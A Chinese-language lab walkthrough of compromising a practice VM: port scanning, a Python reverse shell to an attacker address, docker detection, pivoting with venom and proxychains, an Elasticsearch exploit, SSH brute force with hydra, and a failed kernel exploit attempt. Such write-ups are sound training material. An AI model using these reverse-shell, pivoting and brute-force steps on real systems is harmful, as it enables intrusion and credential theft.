首先确定靶机IP地址,跟攻击机处于同一网段
确定好靶机的IP地址使用nmap工具扫描靶机所开放的端口信息(后面靶机的IP变成了140)
开放了22和5000端口信息以及操作系统的版本信息
访问5000端口得到一个web页面
输入1说明长度不够长
再接着测试123456789,明显就是执行了
对5000端口进行目录扫描
访问admin得到一个可以执行python代码的输入框,别问怎么知道是python,再nmap扫描的时候扫出来的
通过python写的脚本进行反弹shell
Import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.92.129",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
靶机先进行监听
再将那一段代码复制到那个代码块执行
成功反弹拿到shell
进行目录查看以及IP地址查看发现有docker以及IP地址与原本靶机的IP不一致怀疑存在docker环境或者是蜜罐
进行是否为docker测试两种方法:
- 判断根目录下.dockerenv文件
- docker环境下:ls -alh /.dockerenv , 非docker环境,没有这个.dockerenv文件的
- 查询系统进行的cgroup信息
- docker 环境下:cat /proc/1/cgroup
使用第二种方式而得到
如果有如上图所示的结果显示,那么说明当前环境为docker环境而不是目标靶机的真实服务器环境,当我们遇到这种情况的时候,我们需要从docker环境中逃逸出来,才能对真正的目标服务器开展进一步的操作。此时我们需要把docker环境当作服务器的内网环境来处理。
因为处于内网,而且这里的子网掩码有16位,那么使用一个ping -c 1 ip去探测会过于漫长,所以我们使用一个循环代码进行探测:
For I in $(seq 1 254);do ping -c 1 172.17.0.$i;done
得到了内网存活三台主机
因为要对内网的主机进行一些操作,所以我们使用venom进行内网穿透,也就是打通kali到内网机器的路由,才能使用kali对这些内网机器进行相关操作
Kali的版本是x64位,那么在venom的目录下使用admin_linux_x64设置监听端口9999
需要将agent_linux_x64下载到靶机中进行kali连接靶机所以使用python开启http服务
在靶机进行下载
在靶机中运行这个服务,要注意给这个服务加执行权限否则会运行失败
成功运行
使用show命令查找节点然后使用goto去连接这个节点
启动socks监听 socks 1000
使用proxychains4工具设置代理,访问靶机的内网
修改/etc/proxychains4.conf文件
vim /etc/proxychains4.conf 修改为sock5 127.0.0.1 1000(venom开启的socks监听)
SOCKS4只支持TCP应用,而SOCKS5支持TCP和UDP应用
使用kali的工具通过代理服务器去探测靶机内网的信息
对172.17.0.1进行端口和服务版本的探测
得知就是这个内网的IP开启的端口以及服务是一致的
接着探测172.17.0.2,开启了9200端口elasticsearch服务
通过代理访问这个服务得到了版本信息
探测172.17.0.3发现只开启了5000端口跟之前的5000端口一致
所以接下来的重心就在172.17.0.2上
因为他开启了elastisearch服务,了解一下这个就是一个开源的高扩展的分布式全文检索引擎,它可以近乎实时的存储、检索数据。
猜测这个服务存在漏洞,查看是否有漏洞和可以利用的脚本文件
尝试将第一个复制到当前的路径下
看一下代码需要使用python2环境
拿下172.17.0.2shell
直接whoami查看当前用户以及列出当前的目录
查看passwords,得到账密,把账密都分别任保存到两个文件中
对密码进行解密,网上工具直接md5解密保存到一个文件,方便后续进行ssh爆破
通过hydra工具,得到可以登录的账密
直接ssh登录
无sudo权限也没有定时任务,用find查找带有s权限的也没有
可以查看一下内核版本信息,看是否存在内核提权的可能
发现内核版本过低,存在可能
通过searchsploit版本查找适用的exp
存在可以利用的脚本,将37292.c复制到本地
进行gcc编译
开启python http服务,将编译后的文件传入到靶机中
漏洞查看一下,发现其中存在依赖 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 我们需要去除依赖gcc部分因为目标上没有 gcc。
如果没有这个依赖文件则会报错
在本地编译 gcc -o exp 37292.c 并将 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 与 编译后的 exp 一起发送到目标,可以使用 ssh 发送或 Python HTTP 服务结合 wget 发送。
给两个文件都增加权限一般我都是直接777
Oh报错了,如果出现下面错误,是kali 上编译时的 /lib/x86_64-linux-gnu/libc.so.6 动态库高于靶机的
解决方法是在靶机中使用 ldd --version 命令确定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然后去相关官网搜索 2.19-0ubuntu6 下载其对应版本的库文件,此靶机适用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb 下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6 确认其存在,编译 C 时使用 gcc 参数 -Ldir 指定上面的 libc.so.6 的路径,解决的编译命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6
Emm内核提权没成功就酱
总结:
- Python脚本反弹shell的写法
- 如何判断是不是蜜罐或者是docker--docker逃逸
- 内网穿透使用的工具venom
- 使用代理proxychains4用来代理kali与内网的连接
- Hydra工具爆破ssh
- 当发现没有可以提权的方式可以查看内核版本通过内核提权